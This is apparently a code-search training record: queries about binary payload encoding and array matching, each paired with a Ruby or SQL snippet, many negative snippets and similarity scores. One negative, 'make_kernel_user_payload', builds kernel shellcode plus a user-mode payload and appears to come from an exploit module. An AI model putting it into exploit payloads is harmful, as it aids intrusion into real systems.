[OAP_MARKER, VERSION]\n asset_quantity_count = Bitcoin::Protocol.pack_var_int(@asset_quantities.length).unpack(\"H*\")\n payload << sort_count(asset_quantity_count[0])\n @asset_quantities.map{|q|payload << encode_leb128(q)}\n @metadata ||= ''\n metadata_length = Bitcoin::Protocol.pack_var_int(@metadata.length).unpack(\"H*\")\n payload << sort_count(metadata_length[0])\n payload << @metadata.bytes.map{|b| sprintf(\"%02x\", b)}.join\n payload.join\n end", "def bytes\n self\n end", "def command(binary, action, service, param = nil, sub_param = nil)\n [\n prepare_parameter(binary),\n action, # simple keyword does not need transformation\n prepare_parameter(service),\n prepare_parameter(param),\n prepare_parameter(sub_param, false) # last param does no need quoting\n ].reject(&:empty?).join ' '\n end", "def data\n raise RuntimeError, 'No raw data set' unless @raw\n\n header, @chunk_id, @chunk_count, crc32, b = Payload.decode(@raw).unpack('a4LLLa*')\n\n raise FormatError unless header == HEADER\n raise ChecksumError unless Zlib.crc32(b) == crc32\n\n b\n end", "def command; datastore['COMMAND']; end", "def payload\n return @payload if @payload\n \n payload_class = if (@flags & 0x40) == 0x40\n Dot11WEP\n elsif @type == 0\n [ Dot11AssoReq, Dot11AssoResp, Dot11ReassoReq, Dot11ReassoResp, Dot11ProbeReq, Dot11ProbeResp, nil, nil,\n Dot11Beacon, Dot11ATIM, Dot11Disas, Dot11Auth, Dot11Deauth, nil, nil, nil,\n nil, nil, nil, nil, nil, nil, nil, nil,\n nil, nil, nil, nil, nil, nil, nil ][@subtype]\n elsif @type == 2\n if @subtype == 0\n Dot11Data\n elsif @subtype == 4\n Dot11NullData\n end \n end\n \n return nil if payload_class.nil?\n \n @payload = payload_class.new(@rest) unless (payload_class == Dot11NullData || @rest.nil? || @rest.empty?)\n end", "def read_data_byte(offset) [offset + 1, get_byte(offset)] end", "def make_kernel_user_payload(ring3, proc_name)\n sc = make_kernel_shellcode(proc_name)\n\n sc << [ring3.length].pack(\"S<\")\n sc << ring3\n\n sc\n end", "def get_data\n return @data.unpack(\"C*\")\n end", "def read_packet; end", "def packed()\n body = @flags.chr +\n @authen_method.chr +\n @priv_lvl.chr + \n @authen_type.chr +\n @service.chr +\n @user_len.chr +\n @port_len.chr +\n @rem_addr_len.chr +\n @arg_cnt.chr\n \n body << @arg_lens.pack('C*') if (@arg_lens.length != 0)\n body << @user if (@user)\n body << @port if (@port)\n body << @rem_addr if (@rem_addr)\n body << @args.join if (@args.length != 0)\n\n return(body)\n end", "def extract_command; end", "def msgData(arr)\n return data = {\"rusr\" => arr[0][1..-1].split(\"!\")[0], \"raddress\" => arr[0].split(\"!\")[1], \"type\" => arr[1], \"who\" => arr[2], \"event\" => arr[3][1..-1], \"args\" => arr[4..-1].join(\" \")}\n end", "def read\n read_object(read_byte)\n end", "def command(command)\n \n if ! @authed\n raise RCon::NetworkException.new(\"You must authenticate the connection successfully before sending commands.\")\n end\n\n @packet = RCon::Packet::Source.new\n @packet.command(command)\n\n @socket.print @packet.to_s\n rpacket = build_response_packet\n\n if rpacket.command_type != RCon::Packet::Source::RESPONSE_NORM\n raise RCon::NetworkException.new(\"error sending command: #{rpacket.command_type}\")\n end\n\n if @return_packets\n return rpacket\n else\n return rpacket.string1\n end\n end", "def command(command)\n \n if ! @authed\n raise RCon::NetworkException.new(\"You must authenticate the connection successfully before sending commands.\")\n end\n\n @packet = RCon::Packet::Source.new\n @packet.command(command)\n\n @socket.print @packet.to_s\n rpacket = build_response_packet\n\n if rpacket.command_type != RCon::Packet::Source::RESPONSE_NORM\n raise RCon::NetworkException.new(\"error sending command: #{rpacket.command_type}\")\n end\n\n if @return_packets\n return rpacket\n else\n return rpacket.string1\n end\n end", "def gets_data_s(*a)\n arr = gets_bytestr\n arr.map { |msg| msg[:data] }.join\n end", "def packed()\n body = TacacsPlus.pack_int_net(@server_msg_len,2) +\n TacacsPlus.pack_int_net(@data_len,2) + \n @status.chr\n \n body << @server_msg if (@server_msg)\n body << @data if (@data)\n\n return(body)\n end", "def output_binary(binary)\n message = \"\\r\\n\"\n message << \"Identifier: #{binary[:uniqueid]}\\r\\n\"\n message << \"Length: #{binary[:size]}\\r\\n\"\n message << \"\\r\\n\"\n message << \"#{binary[:data]}\\r\\n\"\n end", "def bytes\n Base64.decode64(data)\n end", "def bytes; end", "def to_binary\n return '' unless @ready\n\n to_a.pack('C*') rescue binding.pry\n end" ]
[ "0.7354474", "0.6897268", "0.65994895", "0.656849", "0.6477026", "0.6334336", "0.6322776", "0.6318373", "0.63126856", "0.62323517", "0.61747783", "0.6171956", "0.6127085", "0.60994333", "0.606661", "0.60506225", "0.60489255", "0.60284024", "0.5969242", "0.59648865", "0.5962999", "0.5957544", "0.5948573", "0.5947807", "0.5942998", "0.59406155", "0.59021467", "0.588165", "0.58786625", "0.5862377", "0.58597106", "0.58511287", "0.5851011", "0.5848938", "0.5848938", "0.5844147", "0.5837389", "0.58324975", "0.5830955", "0.5827598", "0.58248377", "0.5813691", "0.580991", "0.5787414", "0.5784086", "0.5776235", "0.57623655", "0.5751033", "0.57418376", "0.57362247", "0.57362247", "0.5733366", "0.57207704", "0.5720142", "0.5719411", "0.57180387", "0.56838346", "0.5674854", "0.5663586", "0.56503916", "0.5644022", "0.5641332", "0.563987", "0.56396884", "0.56371295", "0.5634549", "0.5630369", "0.56253684", "0.5625033", "0.5624875", "0.5616849", "0.5616569", "0.5600013", "0.5599283", "0.55943865", "0.55943865", "0.5587048", "0.55844826", "0.55781585", "0.55700654", "0.55699044", "0.55693084", "0.55630434", "0.55593514", "0.5559205", "0.55579597", "0.55373126", "0.5534809", "0.5530578", "0.5525732", "0.5497418", "0.5496229", "0.5488612", "0.5488612", "0.54812133", "0.54761106", "0.5476087", "0.547482", "0.54704463", "0.5459385" ]
0.7982039
0
Returns a checksum string (4 characters) appropriate for sending to the serial port ie: '12AF' (note capitalization)
def generate_checksum_bytes(payload) sum = payload.reduce :+ sum_hex = ('%04x' % sum).upcase string_to_ascii_bytes sum_hex end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def checksum_char\n packed_orcid[-1]\n end", "def checksum sequence_number\n Digest::MD5.hexdigest(@buffer[sequence_number])\n end", "def calc_checksum\n @encrypted_name.chars.delete_elem('-').group_eq.transform_values(&:length).sort_by do |_, v|\n -v\n end.group_by(&:second).map do |_, v|\n v.sort\n end.sum.map(&:first).take(5).join\n end", "def checksum\n summation = 0\n @nmi.reverse.split(//).each_index do |i|\n value = nmi[nmi.length - i - 1].ord\n value *= 2 if i.even?\n value = value.to_s.split(//).map(&:to_i).reduce(:+)\n summation += value\n end\n checksum = (10 - (summation % 10)) % 10\n checksum\n end", "def checksum\n fil_header[:checksum]\n end", "def checksum(hex)\n hash = hash256(hex) # Hash the data through SHA256 twice\n return hash[0...8] # Return the first 4 bytes (8 characters)\n end", "def calc_checksum\n c0 = c1 = 0\n to_s[2..].unpack('C*').each do |byte|\n c0 += byte\n c1 += c0\n end\n c0 %= 255\n c1 %= 255\n\n x = ((sz - 17) * c0 - c1) % 255\n x += 255 if x <= 0\n y = 255 * 2 - c0 - x\n y -= 255 if y > 255\n self.checksum = (x << 8) | y\n end", "def checksum\n @number.to_s.reverse.split('').map.each_with_index do |digit, position|\n digit = digit.to_i\n if position.odd?\n digit = digit * 2\n digit -= 9 if (digit >= 10)\n end\n digit\n end.inject(:+s)\n end", "def checksum(string)\n Digest::SHA512.hexdigest([SALTER, string].join(SALTER_JOINER))\n end", "def checksum\n end", "def checksum(hex)\n sha256(sha256(hex))[0...8]\n end", "def checksum\n @checksum ||= luhn_doubled.inject(0) { |a, e| a + sum_of(e) }\n end", "def checksum\n return @checksum if @checksum\n\n raise 'number1 is required' unless self.number1\n raise 'number2 is required' unless self.number2\n raise 'challenge is required' unless self.challenge\n\n checksum = ''\n checksum += [self.number1].pack('N')\n checksum += [self.number2].pack('N')\n checksum += self.challenge\n checksum = Digest::MD5.digest(checksum)\n\n return @checksum ||= checksum\n end", "def update_checksum\n hh = header(\" \" * 8)\n @checksum = oct(calculate_checksum(hh), 6)\n end", "def toString()\n @header[LENGTH - 1] = checksum()\n return @header + @message\n end", "def checksum(hex)\n hash = hash256(hex) # Hash the data through SHA256 twice\n return hash[0...8] # Return the first 4 bytes (8 characters)\nend", "def checksum(hex)\n sha256(sha256(hex))[0...8]\nend", "def checksum\n @checksum ||= begin\n voice = @attrs[:voice]\n data = [\n voice.engine_id.to_s,\n voice.lang_id.to_s,\n voice.voice_id.to_s,\n @attrs[:text].to_s,\n @attrs[:ext].to_s,\n @attrs[:fx_type].to_s,\n @attrs[:fx_level].to_s,\n @attrs[:account_id].to_s,\n @attrs[:api_id].to_s,\n @attrs[:session].to_s,\n @attrs[:secret_phrase].to_s\n ].join('')\n Digest::MD5.hexdigest(data)\n end\n end", "def checksum\n Digest::SHA256.hexdigest(self.to_smash(:sorted).to_s)\n end", "def checksum(name)\n checksum_data[name]\n end", "def checksum\n odd_length_checksum = 0\n even_length_checksum = 0\n length = nil\n\n @id_string.each_digit_with_position do |n, position|\n length = position\n if position.even?\n odd_length_checksum += double_digit_value(n)\n even_length_checksum += n\n else\n odd_length_checksum += n\n even_length_checksum += double_digit_value(n)\n end\n end\n\n length.odd? ? odd_length_checksum : even_length_checksum\n\n end", "def checksum(msg)\n length = msg.length\n num_short = length / 2\n check = 0\n\n msg.unpack(\"n#{num_short}\").each do |short|\n check += short\n end\n\n if length % 2 > 0\n check += msg[length-1, 1].unpack('C').first << 8\n end\n\n check = (check >> 16) + (check & 0xffff)\n return (~((check >> 16) + check) & 0xffff)\n end", "def checksum64(io)\n Base64.encode64([checksum(io)].pack(\"H*\")).strip\n end", "def checksum\n calc_checksum = 0\n byte_bit_nbr = 0\n @fuse_data.each { |bit|\n calc_checksum += 2**byte_bit_nbr if bit == 1\n byte_bit_nbr += 1\n byte_bit_nbr = 0 if byte_bit_nbr == 8\n }\n calc_checksum = calc_checksum % 2**16\n calc_checksum\n end", "def checksums; end", "def compute_checksum\n pseudo = []\n pseudo << ((((self.version << 4) | self.hlen) << 8) | self.tos)\n pseudo << self.len\n pseudo << self.id\n pseudo << ((self.flags << 13) | self.foffset)\n pseudo << ((self.ttl << 8) | self.protocol)\n pseudo << 0 \n pseudo << L3::Misc.ipv42long(self.src_ip)\n pseudo << L3::Misc.ipv42long(self.dst_ip)\n L3::Misc.checksum(pseudo.pack(\"nnnnnnNN\"))\n end", "def calc_checksum\n sum = IP.sum16(self)\n self.checksum = IP.reduce_checksum(sum)\n end", "def calc_checksum\n sum = IP.sum16(self)\n self.checksum = IP.reduce_checksum(sum)\n end", "def compute_checksum# {{{\n pseudo = []\n pseudo << ((self.version << 8) | self.ttl)\n pseudo << 0\n pseudo << self.payload\n L3::Misc.checksum(pseudo.pack(\"nna*\"))\n end", "def calculate_checksum\n last_checksum = previous_event&.checksum\n attrs = attributes.except(\"checksum\", \"id\", \"updated_at\").merge(last_checksum: last_checksum)\n cs = Digest::SHA256.hexdigest(attrs.to_s)\n puts \"#{id} calculate_checksum: #{cs} <- #{attrs} \" if Rails.env.development?\n Rails.logger.info(\"#{id} calculate_checksum: #{cs} <- #{attrs} \")\n return cs\n end", "def calc_checksum\n # Checksum is only on header, so cannot use IP.sum16,\n # which also calculates checksum on #body.\n nb_words = ihl * 2\n self.checksum = 0\n checksum = to_s.unpack(\"n#{nb_words}\").sum\n self[:checksum].value = IP.reduce_checksum(checksum)\n end", "def generate_checksum(*strings)\n csum = 0\n strings.each {|s| s.each_byte {|c| csum += c}}\n (csum % 256).chr\n end", "def orcid_checksum(id)\n total = 0\n (0...15).each { |x| total = (total + id[x].to_i) * 2 }\n remainder = total % 11\n result = (12 - remainder) % 11\n result == 10 ? 'X' : result.to_s\n end", "def get_checksum_method #:nodoc:\n @checksum_method = 3\n end", "def checksum(arg = nil)\n set_or_return(:checksum, arg, kind_of: [String])\n end", "def hexdigest\n DigestUtils.pack_hexdigest(digest)\n end", "def md5sum\n @md5sum ||= Digest::MD5.hexdigest(self.to_checksum_string)\n end", "def checksum\n source[digest_type]\n end", "def checksum\n @checksum ||= begin\n if empty?\n EMPTY_CHECKSUM\n else\n ::Digest::MD5.hexdigest(children.map(&:checksum).join)\n end\n end.to_s\n end", "def hexserial\n @cert.serial.to_s(16)\n end", "def checksum(content)\n out = ''\n (0...content.size).step(2) do |idx|\n sub = content[idx..(idx + 1)]\n case sub\n when '00' then out << '1'\n when '11' then out << '1'\n when '01' then out << '0'\n when '10' then out << '0'\n else\n raise \"Unknown pattern '#{sub}'@#{idx}\"\n end\n end\n\n out = out\n if out.size.even?\n checksum(out)\n else\n out\n end\nend", "def generate_mac\n crc32 = Zlib.crc32(self.id.to_s)\n offset = crc32.modulo(255)\n\n digits = [ %w(0),\n %w(0),\n %w(0),\n %w(0),\n %w(5),\n %w(e),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f),\n %w(5 6 7 8 9 a b c d e f),\n %w(3 4 5 6 7 8 9 a b c d e f),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f) ]\n mac = \"\"\n for x in 1..12 do\n mac += digits[x-1][offset.modulo(digits[x-1].count)]\n mac += \":\" if (x.modulo(2) == 0) && (x != 12)\n end\n mac\n end", "def mac_to_txt(mac)\n mac.map {|s| s.to_s(16)}.join \":\"\nend", "def to_hexstr\n Common.unpackbytes(to_s)\n end", "def calculate_checksum\n indices = build_word_indices(false)\n create_rs1024_checksum(indices).map{|i|i.to_bits(10)}.join.to_i(2)\n end", "def serial_number\n raw_response[4..-1].pack('c*').unpack('H*').first.upcase\n end", "def rubocop_checksum; end", "def checksum\n self[:ip_sum]\n end", "def checksum\n Nanoc::Checksummer.calc(self)\n end", "def checksum\n Digest::SHA256.file(sample_dmg).hexdigest\nend", "def xmodem_crc(a,prev_crc=FWI.new(16,false).new(0))\n crc = prev_crc\n a.each_byte{ |al_val|\n al = FWI.new(8,false).new(al_val)\n 8.times {\n al.rcl!(1)\n crc.rcl!(1)\n crc ^= 0x1021 if FWI::FWIBase.carry?\n }\n }\n crc\nend", "def send_checksum(command, options = {})\n\t\t#\n\t\t# Prepare command for sending\n\t\t#\n\t\tcommand = str_to_array(hex_to_byte(command)) unless command.class == Array\n\t\tcheck = 0\n\t\tcommand.each do |byte|\t# Loop through the first to second last element\n\t\t\tcheck = (check + byte) & 0xFF\n\t\tend\n\t\tcommand << check\n\t\tsend(command, options)\n\tend", "def checksum\n @checksum ||= begin\n representative_checksums = work_presenter.public_member_presenters.collect(&:representative_checksum).compact\n Digest::MD5.hexdigest(representative_checksums.join(\"-\"))\n end\n end", "def mac(string)\n Digest::SHA256.new.update(string).hexdigest.upcase\n end", "def digest(subject)\n Digest::MD5.hexdigest subject.downcase\n end", "def checksum_of(origin)\n #noinspection RubyArgCount\n Zlib::crc32(origin).to_s\n end", "def specified_checksum\n @resource[:checksum]\n end", "def calc_mac(base_mac, i = 1)\n mac_array = base_mac.split(/:/)\n\n mac_array[-1] = sprintf(\"%02x\", mac_array.last.hex + i).upcase\n mac_array.join(\":\")\nend", "def code\n @code.rjust(5, '0')\n end", "def checksum_of(origin)\n #noinspection RubyArgCount\n Zlib::crc32(origin).to_s\n end", "def crc; end", "def crc; end", "def crc; end", "def serial_read_int()\n return serial_read_line().hex\n end", "def card_number_mask\n \"XXX XXXX XXX #{last4}\"\n end", "def iban_checksum(country_code, account)\n # Converts letters to numbers according the iban rules, A=10..Z=35\n account_to_number = \"#{account}#{country_code}00\".upcase.chars.map do |d|\n d =~ /[A-Z]/ ? (d.ord - 55).to_s : d\n end.join.to_i\n\n # This is answer to (iban_to_num + checksum) % 97 == 1\n checksum = (1 - account_to_number) % 97\n\n # Use leftpad to make the size always to 2\n checksum.to_s.rjust(2, '0')\n end", "def hexdigest(value)\n Aws::Checksums.sha256_hexdigest(value)\n end", "def verify_checksum(res)\n msg, chksum = res.match(/^\\$(.*)#(\\h{2})$/)[1..2]\n checksum(msg) == chksum\n end", "def iban_checksum(country_code, account)\n # Converts letters to numbers according the iban rules, A=10..Z=35\n account_to_number = \"#{account}#{country_code}00\".upcase.chars.map do |d|\n d =~ /[A-Z]/ ? (d.ord - 55).to_s : d\n end.join.to_i\n\n # This is the correct answer to (iban_to_num + checksum) % 97 == 1\n checksum = 98 - (account_to_number % 97)\n\n # Use leftpad to make the size always to 2\n checksum.to_s.rjust(2, '0')\n end", "def hex_str\n \"##{hex_val}\"\n end", "def _dearmor6b(c, len = 6)\n val = c.ord\n ret = val - (val >= 96 ? 56 : 48) # Mapped to 2 separate contiguous blocks of ascii, so choose which\n ret.to_s(2).rjust(6, \"0\")[0..(len - 1)]\n end", "def calcChecksum(data)\n \n # calculate checksum\n checksum = 0xFF\n data.each_byte {|x| checksum ^= x }\n \n return checksum\n end", "def compute_checksum(data_)\n data = data_.dup\n data[22..25] = [0].pack(\"V\")\n crc = 0\n \n data.each_byte do |byte|\n crc = (crc << 8)^CHECKSUM_TABLE[((crc >> 24)&0xff) ^ byte]\n crc = crc & 0xffffffff\n end\n crc\n end", "def message body\r\n checksum = body.reduce(0) { |a, byte| a ^ byte }\r\n \r\n [\r\n STX,\r\n *(body + [checksum]).map { |byte|\r\n # Escape special bytes in a message.\r\n # @see \"London DI Kit.pdf\" page 4\r\n SPECIAL_BYTES.include?(byte) ? [ESC, byte + 0x80] : byte\r\n }.flatten,\r\n ETX\r\n ]\r\nend", "def to_crc32\n self.name.to_crc32\n end", "def checksum\n (10 - (digits.each_with_index.inject(0) do |sum, (digit, index)|\n sum + (digit * (index.even? ? 1 : 3))\n end % 10)) % 10\n end", "def send(str)\n # $stderr.puts str.size\n (p str.size;fail) if str.size > 0x20\n print str.ljust(0x20, 'A')\nend", "def to_hex(n)\n n.to_s(16).rjust(2, '0').upcase\nend", "def checksum!# {{{\n self.csum = compute_checksum\n end", "def generate_mac \n (\"%02x\"%(rand(64)*4|2))+(0..4).inject(\"\"){|s,x|s+\":%02x\"%rand(256)}\n end", "def to_s\n if @code.count < 13\n @code.join + @check_digit.to_s\n else\n @code.join\n end\n end", "def mac_address\n @mac_address ||= raw_data[22..27].join(':')\n end", "def checksum_trailer\n fil_trailer[:checksum]\n end", "def checksum\n digest = @digest_klass.new\n buf = ''\n\n File.open(@path, \"rb\") do |f|\n while !f.eof\n begin\n f.readpartial(BUFFER_SIZE, buf)\n digest.update(buf)\n rescue EOFError\n # Although we check for EOF earlier, this seems to happen\n # sometimes anyways [GH-2716].\n break\n end\n end\n end\n\n digest.hexdigest\n end", "def format_mac_address\n self.mac_address = self.mac_address.to_s.upcase.gsub(/[^A-F0-9]/,'')\n end", "def calculated_checksum\n send(\"#{@resource[:checksum_type]}_file\".to_sym, @resource[:path]) \n end", "def to_s\n [0, 32, @device_token, @payload.length, @payload ].pack(\"CnH*na*\")\n end", "def hexdigest\n @authenticator.unpack(\"H*\").last\n end", "def to_hex_string(readable = true)\n unpacked = self.unpack('H*').first\n if readable\n unpacked.gsub(/(..)/,'\\1 ').rstrip\n else\n unpacked\n end\n\tend", "def digest\n ''\n end", "def digest\n ''\n end", "def card_fee_str(transaction, bin = nil)\n amount = transaction.amount\n if bin\n data = estimate_fee(amount, bin)\n data[:fee_str]\n else\n low, high = calculate_fee(transaction)\n result = \"$#{format_amount(low)}\"\n result += \"-#{format_amount(high)} (depends on card type)\" if high\n result\n end\n end", "def digest_name(name)\n Digest::SHA2.hexdigest(short_name(name))[0..24]\n end", "def format_mac_address\n\t\tself.mac_address = self.mac_address.to_s().upcase().gsub( /[^A-F0-9]/, '' )\n\tend", "def hexdigest\n @digest.unpack('H*'.freeze).first\n end", "def carrier_code_for_tracking_number(tracking_number)\n case tracking_number.length\n when 12\n 'FDXE'\n when 15\n 'FDXG'\n end\n end", "def checksum?# {{{\n self.csum == compute_checksum\n end", "def pseudo_header_checksum\n checksum = self[:src].to_i + self[:dst].to_i\n (checksum >> 16) + (checksum & 0xffff)\n end", "def deploy_checksum(deploy)\n bin = Base64.decode64(deploy['content'].first['hash']['BYTES_VALUE'])\n bin.each_byte.map { |b| b.to_s(16) }.join\n end", "def strhex(str)\n hex_chars = \"0123456789ABCDEF\"\n msg_size = str.size\n\n result = \"\"\n str.each_byte do |num|\n i1 = num >> 4\n i2 = num & 15\n result << hex_chars[i1]\n result << hex_chars[i2]\n end\n result\n end" ]
[ "0.6825213", "0.6631971", "0.6570734", "0.62877893", "0.62284726", "0.61820406", "0.61782444", "0.6170668", "0.6159612", "0.61191756", "0.61150247", "0.6110535", "0.6097082", "0.60664856", "0.60598767", "0.6034758", "0.597008", "0.5901553", "0.5856439", "0.58169925", "0.5812733", "0.5656935", "0.56363237", "0.56317556", "0.56246644", "0.56203806", "0.5604145", "0.5604145", "0.55798334", "0.5571084", "0.556957", "0.5560572", "0.5554688", "0.55502397", "0.55319947", "0.5530256", "0.5525592", "0.55216455", "0.55007213", "0.5485267", "0.5484112", "0.54810095", "0.5467291", "0.54620594", "0.5454135", "0.5453503", "0.545149", "0.5429664", "0.54215586", "0.54166865", "0.5412628", "0.53793794", "0.53531957", "0.5348661", "0.53346723", "0.53292954", "0.5324311", "0.5323508", "0.53119427", "0.530934", "0.53025115", "0.53025115", "0.53025115", "0.529948", "0.52965546", "0.52681446", "0.52571857", "0.5251214", "0.52474594", "0.5232372", "0.5227039", "0.52050436", "0.52016634", "0.519053", "0.5189135", "0.5177305", "0.51716506", "0.51702106", "0.51696986", "0.5158863", "0.515509", "0.5154943", "0.51539856", "0.5133468", "0.5131895", "0.5122317", "0.5113116", "0.51127934", "0.51116675", "0.51112384", "0.51112384", "0.510323", "0.50843066", "0.5083725", "0.5072532", "0.5068747", "0.50664926", "0.50603825", "0.5060135", "0.50584966" ]
0.6274246
4
return array that contains the match
def search_records(match) match = match.downcase conn.exec_params('SELECT * FROM contacts WHERE lower(first_name)=$1 OR lower(last_name)=$1', [match]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def matches\n @matches ||= []\n end", "def to_a\n [self] + matches\n end", "def match_result\n [match_x, match_y]\n end", "def matches(str)\n each_match(str).to_a\n end", "def matches\n parse\n end", "def matches\n parse_file.lines.each_with_object([]) do |line, matches|\n matches << line.scan(REGEXP[:name_and_score])\n end\n end", "def matches_by\n Array(options_by_type(:matches_by))\n end", "def aggressive\n\t# make a matches array. this returns the equivalent of the matches[] block above\n\tm=[]\n\n\n\t# return the matches array, even if it's emtpy\n\tm\nend", "def match(array)\n ary = []\n array.each do |w| \n if w.split(\"\").sort == @word.sort\n ary << w\n end \n end\n ary\n end", "def matches(input)\n (0...input.length).reduce([]) do |memo, offset|\n memo + matches_at_offset(input, offset)\n end\n end", "def matches\n m = (1..9).map { |i| ss[i] }\n m.pop until m[-1] or m.empty?\n m\n end", "def matches\n m = (1..9).map { |i| ss[i] }\n m.pop until m[-1] or m.empty?\n m\n end", "def matches\n m = (1..9).map { |i| ss[i] }\n m.pop until m[-1] or m.empty?\n m\n end", "def matches\n m = (1..9).map { |i| ss[i] }\n m.pop until m[-1] or m.empty?\n m\n end", "def matches\n m = (1..9).map { |i| ss[i] }\n m.pop until m[-1] or m.empty?\n m\n end", "def matches\n m = (1..9).map { |i| ss[i] }\n m.pop until m[-1] or m.empty?\n m\n end", "def matched\n Array((operands.detect {|op| op.is_a?(Array) && op[0] == :matched} || [:matched])[1..-1])\n end", "def return_match\n\t\treturn @matched\n\tend", "def matched_keys\n @matched.keys\n end", "def matches\n attributes.fetch(:matches)\n end", "def get_matches(path)\n matches = []\n\n @routes.each_with_index do |route, i|\n score, pars = score_route(route[:parts], path)\n matches << [i, score, pars] if score > 0\n end\n\n matches\n end", "def match(array_of_words)\n matches = [] #Flag\n anagram_execute = anagram.split(//)\n anagram_execute = anagram_execute.sort!\n array_of_words.each do |possible_match|\n array_of_letters = possible_match.split(//)\n array_of_letters = array_of_letters.sort!\n matches << possible_match if array_of_letters == anagram_execute\n #use truncated, cleaner if statement\n end\n matches #return the matches array\n end", "def mapped\n @matches.map(&:unpack)\n end", "def match_listings(city,jobs_array,languages)\n #Initialize the array our results will be added to.\n results = []\n #Filter for only the job listings in the current city.\n city_jobs = jobs_array.select { |n,m| n == city }\n #Loop through each language and record the number of matching listings.\n languages.each do |lang|\n #Filter for only job listings where the programming language matches our RegEx from the languages array.\n lang_results = city_jobs.select { |n,m| m.match? lang[1]}\n #Add the language name and number of matching listings to the results array.\n results.push([lang[0],lang_results.length])\n end\n #Return the results arary\n return results\n end", "def find_array\n set_pattern\n @array.reject! do |item|\n item.match(@pattern) == nil\n end\n end", "def match(word_array)\n results = []\n word_array.each do |word|\n results << word if word.split(\"\").sort == @word.split(\"\").sort\n end\n results\n end", "def matched_positions\n _response_entity.fetch(\"matchingTokens\", [])\n end", "def matches\n\t\t\tcompetition.matches\n\t\tend", "def matched_words\n _matched_words\n end", "def matches()\n sql = \"SELECT matches.* FROM matches WHERE away_team_id = #{@id} OR home_team_id = #{@id};\"\n matches = SqlRunner.run( sql )\n result = matches.map { |match| Match.new(match) }\n return result\n end", "def matchdata\n @matchdata\n end", "def match(array)\n #selects and returns array elements that match condition\n array.select do |array_word|\n #Anagram class word split into characters and sort and compare\n (@word.split(\"\").sort) == (array_word.split(\"\").sort)\n end\n end", "def my_array_finding_method(source, thing_to_find)\n match_words = []\n source.each do |word| \n for i in 0...word.to_s.length\n if thing_to_find === word[i]\n match_words.push(word)\n break\n end\n end\n end\n return match_words\nend", "def search pattern\n\t\tresults = all.map {|key|\n\t\t\tkey if key.to_s =~ /#{pattern}/i\n\t\t}\n\t\tresults.delete nil\n\t\tresults\n\tend", "def matched_by\n @filters.matches\n end", "def find_matches(bucket, word)\n\t\tmatches = bucket.map do |exp, match|\n\t\t\tword =~ exp ? match : nil\n\t\tend\n\t\tmatches.compact\n\tend", "def matches( input )\n matches = Array.new\n\n input.shorter.each_with_index do |char, idx|\n input.window_range( idx ).each do |widx|\n if input.longer[widx] == char then\n matches << widx\n break\n end\n end\n end\n\n return matches\n end", "def match(array)\n array.find_all do |word|\n # split word into arry of letters\n if word.split(\"\").sort == @word.sort\n word\n end\n end\n end", "def my_array_finding_method(source, thing_to_find)\n result = [] # result is the output array\n source.each do |word|\n word_array = word.to_s.split(//) # This creates an array of charaters of 'word'\n if word_array.include?(thing_to_find)\n result.push(word)\n end\n end\n return result\nend", "def array_matching\n @array_matching ||= :first\n end", "def matches\n @subject.matches\n end", "def match_array(string, match_string)\n arr = []\n string.scan(Regexp.new(match_string)) do |element|\n arr << element\n end\n return arr\n end", "def all_matches( re, what )\n matches = []\n m = true\n\n matches << OpenStruct.new({\n :match => \"!fake!\",\n :start => 0,\n :end => 0,\n :fake => true\n })\n\n while m\n if matches.size == 1\n m = what.match(re)\n else\n m = (@@allMatchesSpecialChar + what).match(re)\n end\n\n if m\n pos = what.index(m[0])\n\n if pos > 0\n matches << OpenStruct.new({\n :match => what[0, pos],\n :start => matches.last.end,\n :end => matches.last.end + pos,\n :plain => true\n })\n end\n\n matches << OpenStruct.new({\n :match => m[0],\n :start => matches.last.end,\n :end => matches.last.end + m[0].length\n })\n\n what = what[pos + m[0].length..-1]\n end\n end\n\n if what.length > 0\n matches << OpenStruct.new({\n :match => what,\n :start => matches.last.end,\n :end => matches.last.end + what.length,\n :plain => true\n })\n end\n\n matches\n end", "def doc_matches(matchers)\n matches = []\n matchers.each do |query|\n if query.is_a?(String)\n if el = doc.search(query).first\n if el.name.downcase == \"meta\"\n matches << el[\"content\"]\n else\n matches << el.inner_text\n end\n end\n elsif query.is_a?(Array)\n doc.search(query.first).map do |node|\n el = query.last.call(node)\n matches << el if el.present?\n end\n end\n end\n matches.flatten\n rescue => e\n puts \"#{e.message}\"\n []\n end", "def matches(smarts_or_string, uniq=true)\n each_match(smarts_or_string, uniq).map.to_a\n end", "def my_array_finding_method(source, thing_to_find)\n found_things_ary = Array.new\n\n source.each do |x|\n if x.to_s.include?(thing_to_find) == true\n found_things_ary.push(x)\n end\n end\n return found_things_ary\nend", "def extract_matched_items(items)\n []\n end", "def get_matches(transactions=Transaction.all)\n raise \"not an array\" unless transactions.instance_of?(Array)\n transactions.select do |tr|\n raise \"Not a transaction\" unless tr.instance_of?(Transaction)\n tr.matches?(self.regexp) \n end\n end", "def player_matches(player, playerdiv)\n result = Match.joins(:results).where(:results => {:player_id => player}).where(:division_id => playerdiv)\n @player_matches = Array.new\n result.each do |m|\n @player_matches << m.id\n end\n return @player_matches\n end", "def my_array_finding_method(source, thing_to_find)\n p final_array = source.select {|test| test.to_s.include?(thing_to_find.to_s)}\nend", "def my_array_finding_method(source, thing_to_find)\n p final_array = source.select {|test| test.to_s.include?(thing_to_find.to_s)}\nend", "def all_matches\n # Returns an array of all users whom I have a match with, i.e. they are likers of me, and I am liker of them.\n self.matches_from.map { |match| match.liker } & self.matches_to.map { |match| match.liked }\n end", "def find(source)\n a = []\n self.each(){ |element| \n if element.source == source then\n\t #puts \"MATCH: [#{element.source}]\"\n\t a << element\n end\n }\n return a\nend", "def find_matches\n @match_distances = Match.find_match(current_user, \"Any\", nil)\n end", "def match(anagram_array)\n matched_anagrams = []\n\n anagram_array.each do |anagram|\n anagram.split(\"\").sort == @word.split(\"\").sort ? matched_anagrams << anagram : matched_anagrams\n end\n matched_anagrams\n end", "def chapters_matching(query)\n results = []\n\n return results unless query\n\n each_chapter do |number, name, chp_contents|\n results << {number: number, name: name} if chp_contents.include?(query)\n end\n\n results # returns an array of hashes\nend", "def get_matching_for_pages(pattern:, pages:)\n pages.map {|page|\n uids = get_matching_for_page(pattern: 